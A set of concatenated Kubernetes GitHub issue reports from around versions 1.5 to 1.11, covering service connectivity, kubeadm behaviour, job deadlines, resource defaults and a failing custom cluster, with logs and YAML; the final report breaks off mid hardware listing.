<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r kubernetes service discovery\r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.6.0\r \r \r   environment  :\r -   cloud provider or hardware configuration  : bare metal\r -   os    e.g. from /etc/os-release : centos 7.3\r -   kernel    e.g.  uname -a  : linux c4n1 3.10.0-514.10.2.el7.x86_64  1 smp fri mar 3 00:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : kubeadm\r -   others  :\r \r \r   what happened  :\r i created service and deployment for my web service. now from inside the pod i'm trying to connect to it's own service name and port. it gets times out after few minutes.  this works perfectly fine on kubenetes v1.5.x but not v1.6. i'm using weave network plugin. also, i'm able to connect with other services perfectly fine on v1.6.\r \r   what you expected to happen  :\r i should be able to connect to the service  of it's own  from inside pod.\r \r   how to reproduce it    as minimally and precisely as possible :\r create a small web app  deployment , create a service for it  nodeport . from the same pod do  curl -c http://<service-name>:<port> . it get's timed out.\r \r   anything else we need to know  :\r cat /etc/resolv.conf\r    \r nameserver 10.96.0.10\r search default.svc.cluster.local svc.cluster.local cluster.local\r options ndots:5\r    \r \r cat /etc/hosts\r    \r   kubernetes-managed hosts file.\r 127.0.0.1\tlocalhost\r ::1\tlocalhost ip6-localhost ip6-loopback\r fe00::0\tip6-localnet\r fe00::0\tip6-mcastprefix\r fe00::1\tip6-allnodes\r fe00::2\tip6-allrouters\r 10.32.0.7\tfalkonry-kafka-56017906-9qlg3\r    \r \r connecting to kafka service from other container\r    \r     root@falkonry-redis-0:/data  curl -v http://falkonry-kafka:9092          \r       about to connect   to falkonry-kafka port 9092   0 \r         trying 10.99.232.10...\r       connected\r       connected to falkonry-kafka  10.99.232.10  port 9092   0 \r     > get / http/1.1\r     > user-agent: curl/7.26.0\r     > host: falkonry-kafka:9092\r     > accept:  / \r     > \r       additional stuff not fine transfer.c:1037: 0 0\r       recv failure: connection reset by peer\r       closing connection  0\r     curl:  56  recv failure: connection reset by peer\r    \r connecting to kafka service from inside kafka container  request never finishes \r    \r     root@falkonry-kafka-56017906-9qlg3:/  curl -v http://falkonry-kafka:9092\r       rebuilt url to: http://falkonry-kafka:9092/\r       hostname was not found in dns cache\r         trying 10.99.232.10...\r     ^c\r    \r \r attaching cluster dump\r  clusterdump.txt  https://github.com/kubernetes/kubernetes/files/904224/clusterdump.txt

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r kubeadm 1.6 garbage collect pods\r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:33:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : centos 7.2\r -   kernel    e.g.  uname -a  : 3.10.0-327.3.1.el7.x86_64\r -   install tools  : yum, rpm\r -   others  :\r \r \r   what happened  :\r in kubeadm 1.5, when a worker left the cluster using 'kubeadm reset', the pods running on the worker would be cleaned up and would not appear on the master in a 'kubectl get pods -o wide' listing. in kubeadm 1.6.1 they appear with a nodelost or unknown state. in a cluster where nodes scale elastically we will get into a state where there are many of these and this state will be very noisy. could we get back the old behavior with a switch or in some other manner?\r \r \r   what you expected to happen  :\r the pods which are on the reset worker node should vanish fairly quickly.\r \r   how to reproduce it    as minimally and precisely as possible :\r create a cluster with two nodes, kubeadm init on master, kubeadm join on worker, start some pods which will also be scheduled on worker, then kubeadm reset the worker. then look at 'kubectl get pods -o wide' on the master.\r \r   anything else we need to know  :\r this is on kubeadm 1.6.1\r

 \r a kubernetes cluster in aws can run without the cluster-id being set on nodes, but odd issues can pop up.  if multiple clusters exist in the same az under the same user account, then things can get even more interesting.  we should make tagging the aws instances required and fail to start the cluster if they are not set.  if either kubernetescluster or kubernetes.io/cluster is set then the cluster will start, otherwise print an error indicating the instances need to be tagged.\r \r there should be a flag to support legacy behavior  ie no labeling needed .   this flag should be on one or more of:\r \r kube-apiserver\r kube-controller-manager\r cloud-controller-manager\r \r @kubernetes/sig-aws-misc @justinsb

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  /  \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r pull-kubernetes-unit always failed.\r \r ref: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/51297/pull-kubernetes-unit/49166/\r \r k8s.io/kubernetes/pkg/api testroundtriptypes 3.65s\r e.g. log: \r e0824 23:52:24.743235   12107 event.go:209  unable to write event: 'a weird error'  may retry after sleeping \r e0824 23:52:24.746361   12107 event.go:194  unable to construct event '&v1.event{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ \ , generatename:\ \ , namespace:\ \ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\ \ }, involvedobject:v1.objectreference{kind:\ \ , namespace:\ \ , name:\ \ , uid:\ \ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ \ , message:\ \ , source:v1.eventsource{component:\ \ , host:\ \ }, firsttimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, count:0, type:\ \ }': 'request construction error: '<nil>''  will not retry! \r e0824 23:52:24.746681   12107 event.go:200  server rejected event '&v1.event{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ \ , generatename:\ \ , namespace:\ \ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\ \ }, involvedobject:v1.objectreference{kind:\ \ , namespace:\ \ , name:\ \ , uid:\ \ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ \ , message:\ \ , source:v1.eventsource{component:\ \ , host:\ \ }, firsttimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, count:0, type:\ \ }': ''  will not retry! \r e0824 23:52:24.746911   12107 event.go:209  unable to write event: 'unexpected object: <nil>'  may retry after sleeping \r e0824 23:52:24.746964   12107 event.go:209  unable to write event: 'unexpected object: <nil>'  may retry after sleeping \r e0824 23:52:24.747006   12107 event.go:209  unable to write event: 'unexpected object: <nil>'  may retry after sleeping \r e0824 23:52:24.747050   12107 event.go:209  unable to write event: 'unexpected object: <nil>'  may retry after sleeping \r e0824 23:52:24.747089   12107 event.go:209  unable to write event: 'unexpected object: <nil>'  may retry after sleeping \r e0824 23:52:24.747123   12107 event.go:209  unable to write event: 'unexpected object: <nil>'  may retry after sleeping \r e0824 23:52:24.747158   12107 event.go:209  unable to write event: 'unexpected object: <nil>'  may retry after sleeping \r e0824 23:52:24.747193   12107 event.go:209  unable to write event: 'unexpected object: <nil>'  may retry after sleeping \r e0824 23:52:24.747237   12107 event.go:209  unable to write event: 'unexpected object: <nil>'  may retry after sleeping \r e0824 23:52:24.747274   12107 event.go:209  unable to write event: 'unexpected object: <nil>'  may retry after sleeping \r e0824 23:52:24.747307   12107 event.go:209  unable to write event: 'unexpected object: <nil>'  may retry after sleeping \r e0824 23:52:24.747343   12107 event.go:209  unable to write event: 'unexpected object: <nil>'  may retry after sleeping \r e0824 23:52:24.747378   12107 event.go:144  unable to write event '&v1.event{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ \ , generatename:\ \ , namespace:\ \ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\ \ }, involvedobject:v1.objectreference{kind:\ \ , namespace:\ \ , name:\ \ , uid:\ \ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ \ , message:\ \ , source:v1.eventsource{component:\ \ , host:\ \ }, firsttimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, count:0, type:\ \ }'  retry limit exceeded! \r e0824 23:52:24.747796   12107 event.go:209  unable to write event: 'a weird error'  may retry after sleeping \r e0824 23:52:24.747881   12107 event.go:209  unable to write event: 'a weird error'  may retry after sleeping \r e0824 23:52:24.747941   12107 event.go:209  unable to write event: 'a weird error'  may retry after sleeping \r e0824 23:52:24.748010   12107 event.go:209  unable to write event: 'a weird error'  may retry after sleeping \r e0824 23:52:24.748073   12107 event.go:209  unable to write event: 'a weird error'  may retry after sleeping \r e0824 23:52:24.748140   12107 event.go:209  unable to write event: 'a weird error'  may retry after sleeping \r e0824 23:52:24.748188   12107 event.go:209  unable to write event: 'a weird error'  may retry after sleeping \r e0824 23:52:24.748220   12107 event.go:209  unable to write event: 'a weird error'  may retry after sleeping \r e0824 23:52:24.748255   12107 event.go:209  unable to write event: 'a weird error'  may retry after sleeping \r e0824 23:52:24.748287   12107 event.go:209  unable to write event: 'a weird error'  may retry after sleeping \r e0824 23:52:24.748318   12107 event.go:209  unable to write event: 'a weird error'  may retry after sleeping \r e0824 23:52:24.748348   12107 event.go:209  unable to write event: 'a weird error'  may retry after sleeping \r e0824 23:52:24.748378   12107 event.go:144  unable to write event '&v1.event{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ \ , generatename:\ \ , namespace:\ \ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\ \ }, involvedobject:v1.objectreference{kind:\ \ , namespace:\ \ , name:\ \ , uid:\ \ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ \ , message:\ \ , source:v1.eventsource{component:\ \ , host:\ \ }, firsttimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, count:0, type:\ \ }'  retry limit exceeded! \r e0824 23:52:24.752449   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.752565   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.752650   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.752711   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.984455   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.984611   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.984678   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.984740   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.984917   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.985006   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.985079   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.985145   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.985280   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.985372   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.985437   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.985505   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.985663   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.985738   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.985804   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.985876   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.986018   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.986087   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.986139   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.986205   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.986362   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.986438   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.986505   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.986573   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.986746   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.986816   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.986884   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.986945   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r e0824 23:52:24.987150   12107 event.go:209  unable to write event: 'fake error'  may retry after sleeping \r \r k8s.io/kubernetes/pkg/kubectl/apps testapps 0.00s\r \r ref:\r https://github.com/kubernetes/kubernetes/pull/51297\r https://github.com/kubernetes/kubernetes/pull/51101\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r \r  \r \r   what happened  :\r \r after:\r  \r    \r kubeadm init --pod-network-cidr 10.244.0.0/16 --kubernetes-version stable\r    \r  kubectl logs  won't work  tls error  unless manually approve csrs on master.\r \r    \r kubectl certificate approve $ kubectl get csr | awk '/^csr/{print $1}' \r    \r \r   what you expected to happen  :\r \r offline talked with @luxas , manual approve is not expected.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r standard  kubeadm init  is enough.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.5\r - cloud provider or hardware configuration  : centos 7.2\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

problem\r \r for kubernetes clusters set up with cloud providers,  ingress  resource allows users to assign a reserved  static  public ip address to the load balancer created,   by name   of the ip resource via an annotation  see example 1 . however,  service  resource which is very similar can only use static ip address resource by specifying   the value   of ip address in the  loadbalancerip  field  see example 2 .\r \r this creates an asymmetry  use name in annotation for  ingress  vs. use ip address in a field for  service   and it makes it more difficult to use the  service  resource. for example, a kubernetes tutorial can tell user to create an ip resource named  foo-ip  but the user must still update service manifest file with the _actual_ ip address value to make it work; ingress doesn't need anything as such.\r \r      example 1: setting up an _ingress_ with static ip\r \r    yaml\r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   annotations:\r     kubernetes.io/ingress.global-static-ip-name: \ my-test-ip\ \r     ...\r    \r \r \r      example 2: setting up a _service_ with static ip\r \r \r    yaml\r apiversion: v1\r kind: service\r spec:\r   loadbalancerip: \ your.ipaddress.value.here\ \r   ...\r    \r \r    proposal\r \r introduce an annotation  e.g.  kubernetes.io/service.static-ip-name   that accepts the name for the ip resource, and therefore does not require the user to specify a  loadbalancerip  field manually with the actual ip address.\r \r   \r -----\r <small> i'm not sure if this is the right repository to open this proposal, if kubernetes/features is a better place to discuss this, i'm happy to move it there. </small>

https://github.com/google/go-cmp/\r \r i wonder if this can replace our semantic deepequal?\r \r @lavalamp \r @kubernetes/sig-api-machinery-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r a job with an active deadline seconds of 5 minutes did not kill the pod after 5 minutes. once 10 minutes  sleep timer  was reached the job was updated and emitted the  deadlineexceeded  event; however, the pod had already stopped and it was 5 minutes late. \r \r    \r  kube-controller-manager-54d5759bd-jb9wv  i0404 18:33:16.892774       1 event.go:218  event v1.objectreference{kind:\ job\ , namespace:\ default\ , name:\ sleeptest\ , uid:\ 3cdb843e-3835-11e8-9b99-c8cbb8c5b5f4\ , apiversion:\ batch\ , resourceversion:\ 149879950\ , fieldpath:\ \ } : type: 'warning' reason: 'deadlineexceeded' job was active longer than specified deadline\r    \r \r   what you expected to happen  :\r \r the pod should have been killed after 5 minutes regardless of the kcm being restarted.  \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a job like below, which sleeps for 10 minutes but has an active deadline seconds of 5 minutes. \r    \r apiversion: batch/v1\r kind: job\r metadata:\r   name: sleeptest\r spec:\r   template:\r     spec:\r       containers:\r       - name: sleeptest\r         image: busybox\r         command:  \ sleep\ , \ 600\  \r       restartpolicy: never\r   activedeadlineseconds: 300\r   backofflimit: 4\r    \r \r once the pod has been running for 30s trigger a restart of the controller manager like so or however you can do it based on your setup.\r \r    bash\r kubectl -n kube-system set env deploy/kube-controller-manager restart=$ date +'%s' \r kubectl -n kube-system rollout status deploy/kube-controller-manager\r    \r \r after 5 minutes you'll notice the pod is not killed and the deadline exceeded event did not fire\r \r    \r $ kubectl get po\r name                               ready     status    restarts   age\r sleeptest-9fflm                    1/1       running   0          9m\r    \r \r   anything else we need to know?  :\r \r i'm fairly certain the bug is caused by how the job controller handles active deadline checks. it only adds the job to the queue to be checked on  informer updates  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/job/job_controller.go l320 , which means that on a cold start it will never be added to the queue in the future to be checked unless the job is updated  pod dies for example . if the pod continues to run as normal, like in the case of the sleep example, the job never receives any updates so it's never added to the queue to be checked in the future for exceeding the deadline. \r \r   environment  :\r - kubernetes version  use  kubectl version  : tested on 1.8.10 & 1.9.2\r \r /assign

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r i have a  deployment  with container's  resources.limits.cpu = 200m . however the pods have both  limits  and  requests  set to  200m .\r    \r $ kubectl get deploy nginx-ingress -n default -o jsonpath='{.spec.template.spec.containers 0 .resources}'\r map limits:map cpu:200m  \r \r $ kubectl get pod nginx-ingress-79b566d498-bd948 -n default -o jsonpath='{.spec.containers 0 .resources}'\r map limits:map cpu:200m  requests:map cpu:200m  \r    \r \r   what you expected to happen  :\r \r pod's  requests  is not set just like the  deployment 's template. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. apply the following yaml\r    \r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: nginx\r   namespace: default\r spec:\r   selector:\r     matchlabels:\r       app: nginx\r   replicas: 2\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: nginx:1.7.9\r         resources:\r           limits:\r             cpu: 200m\r    \r 2. observe the new pods \r \r   anything else we need to know?  :\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.3\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : coreos 1688.5.0\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r   \r \r   what happened  :\r i have build a single master custom cluster without any security checking:\r authorization-mode=alwaysallow and schema=http\r \r now, every service work properly  maybe or maybe not \r    \r   kubectl get pods --all-namespaces\r namespace     name                              ready     status    restarts   age\r kube-system   etcd-dpck8s1                      1/1       running   0          1d\r kube-system   kube-apiserver-dpck8s1            1/1       running   0          1d\r kube-system   kube-controller-manager-dpck8s1   1/1       running   0          1d\r kube-system   kube-scheduler-dpck8s1            1/1       running   0          1d\r \r   ps aux|grep kube-proxy\r root     23965  0.4  0.1  44844 19608 pts/1    sl+  11:03   0:00 ./kube-proxy --master=http://10.0.112.151:8080\r root     24287  0.0  0.0 112664   968 pts/2    s+   11:05   0:00 grep --color=auto kube-proxy\r    \r but it's able to deploy any application !\r i tried offical document sample\r  kubectl create -f  https://k8s.io/examples/controllers/nginx-deployment.yaml \r and deploy local file\r   nginx.yaml  \r    \r apiversion: apps/v1   for versions before 1.9.0 use apps/v1beta2\r kind: deployment\r metadata:\r   name: nginx-deployment\r spec:\r   selector:\r     matchlabels:\r       app: nginx\r   replicas: 2   tells deployment to run 2 pods matching the template\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: nginx:1.7.9\r         ports:\r         - containerport: 8000\r    \r  kubectl apply -f nginx.yaml \r \r and run image directly, all not able to start any pod.\r  kubectl run kubernetes-bootcamp --image=gcr.io/google-samples/kubernetes-bootcamp:v1 --port=8888 --logtostderr \r \r here is the check status:\r \r    \r  root@dpck8s1 k8s   kubectl get pods\r no resources found.\r  root@dpck8s1 k8s   kubectl get deployments\r name               desired   current   up-to-date   available   age\r nginx-deployment   2         0         0            0           1d\r  root@dpck8s1 k8s   kubectl describe deployment nginx-deployment\r name:                   nginx-deployment\r namespace:              default\r creationtimestamp:      thu, 12 jul 2018 23:54:23 +0800\r labels:                 <none>\r annotations:            deployment.kubernetes.io/revision=1\r                         kubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ apps/v1\ ,\ kind\ :\ deployment\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ nginx-deployment\ ,\ namespace\ :\ default\ },\ spec\ :{\ replicas\ :2,\ selecto...\r selector:               app=nginx\r replicas:               2 desired | 0 updated | 0 total | 0 available | 2 unavailable\r strategytype:           rollingupdate\r minreadyseconds:        0\r rollingupdatestrategy:  25% max unavailable, 25% max surge\r pod template:\r   labels:  app=nginx\r   containers:\r    nginx:\r     image:        nginx:1.7.9\r     port:         8000/tcp\r     host port:    0/tcp\r     environment:  <none>\r     mounts:       <none>\r   volumes:        <none>\r conditions:\r   type             status  reason\r   ----             ------  ------\r   available        false   minimumreplicasunavailable\r   replicafailure   true    failedcreate\r   progressing      false   progressdeadlineexceeded\r oldreplicasets:    <none>\r newreplicaset:     nginx-deployment-578cd7744  0/2 replicas created \r events:            <none>\r    \r \r   what you expected to happen  :\r the application will running up\r \r   how to reproduce it  as minimally and precisely as possible   :\r always failure after every deployment\r \r   anything else we need to know?  :\r kubelet start from command line rather than system service\r  /opt/k8s/bin/kubelet --fail-swap-on=false --cluster-dns=114.114.114.114 --cluster-domain=cluster.local --cgroup-driver=cgroupfs --runtime-cgroups=/systemd/system.slice --kubelet-cgroups=/systemd/system.slice --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --kubeconfig=/etc/kubernetes/kubelet.conf --cadvisor-port=0 --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin \r \r cidr did not install properly, so i continue get error\r    \r w0714 11:19:07.814240   23029 cni.go:172  unable to update cni config: no networks found in /etc/cni/net.d\r e0714 11:19:07.814597   23029 kubelet.go:2112  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r    \r that's because i am not able to o run\r  kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/v0.10.0/documentation/kube-flannel.yml \r \r health check on etcd, api-server. scheduler, controller-manager are all ok\r  root@dpck8s1 k8s   curl http://10.0.112.151:2379/health\r {\ health\ : \ true\ }\r  root@dpck8s1 k8s   curl http://10.0.112.151:8080/healthz\r ok\r  root@dpck8s1 k8s   curl http://10.0.112.151:10251/healthz\r ok\r  root@dpck8s1 k8s   curl http://10.0.112.151:10252/healthz\r ok\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:08:34z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r    \r   lspci\r 00:00.0 host bridge: intel corporation 440bx/zx/dx - 82443bx/zx/dx host bridge  rev 01 \r 00:01.0 pci bridge: intel corporation 440bx/zx/dx - 82443bx/zx/dx agp bridge  rev 01 \r 00:07.0 isa bridge: intel corporation 82371ab/eb/mb piix4 isa  rev 08 \r 00:07.1 ide interface: intel corporation 82371ab/eb/mb piix4 ide  rev 01 \r 00:07.3 bridge: intel corporation 82371ab/eb/mb piix4 acpi  rev 08 \r 00:07.7 system peripheral: vmware virtual machine communication interface  rev 10 \r 00:0f.0 vga compatible controller: vmware svga ii adapter\r 00:10.0 scsi storage controller: lsi logic / symbios logic 53c1030 pci-x fusion-mpt dual ultra320 scsi  rev 01 \r 00:11.0 pci bridge: vmware pci bridge  rev 02 \r 00:15.0 pci bridge: vmware pci express root port  rev 01 \r 00:15.1 pci bridge: vmware pci express root port  rev 01 \r 00:15.2 pci bridge: vmware pci express root port  rev 01 \r 00:15.3 pci bridge: vmware pci express root port  rev 01 \r 00:15.4 pci bridge: vmware pci express root port  rev 01 \r 00:15.5 pci bridge: vmware pci express root port  rev 01 \r 00:15.6 pci bridge: vmware pci express root port  rev 01 \r 00:15.7 pci bridge: vmware pci express root port  rev 01 \r 00:16.0 pci bridge: vmware pci express root port  rev 01 \r 00:16.1 pci bridge: vmware pci express root port  rev 01 \r 00:16.2 pci bridge: vmware pci express root port  rev 01 \r 00:16.3 pci bridge: vmware pci express root port  rev 01 \r 00:16.4 pci bridge: vmware pci express root port  rev 01 \r 00:16.5 pci bridge: vmware pci express root port  rev 01 \r 00:16.6 pci bridge: vmware pci express root port  rev 01 \r 00:16.7 pci bridge: vmware pci express root port  rev 01 \r 00:17.0 pci bridge: vmware pci express root port  rev 01 \r 00:17.1 pci bridge: vmware pci express root port  rev 01 \r 00:17.2 pci bridge: vmware pci express root port  rev 01 \r 00:17.3 pci bridge: vmware pci express root port  rev 01 \r 00:17.4 pci bridge: vmware pci express root port  rev 01 \r 00:17.5 pci bridge: vmware pci express root port  rev 01 \r 00:17.6 pci bridge: vmware pci express root port  rev 01 \r 00:17.7 pci bridge: vmware pci express root port  rev 01 \r 00:18.0 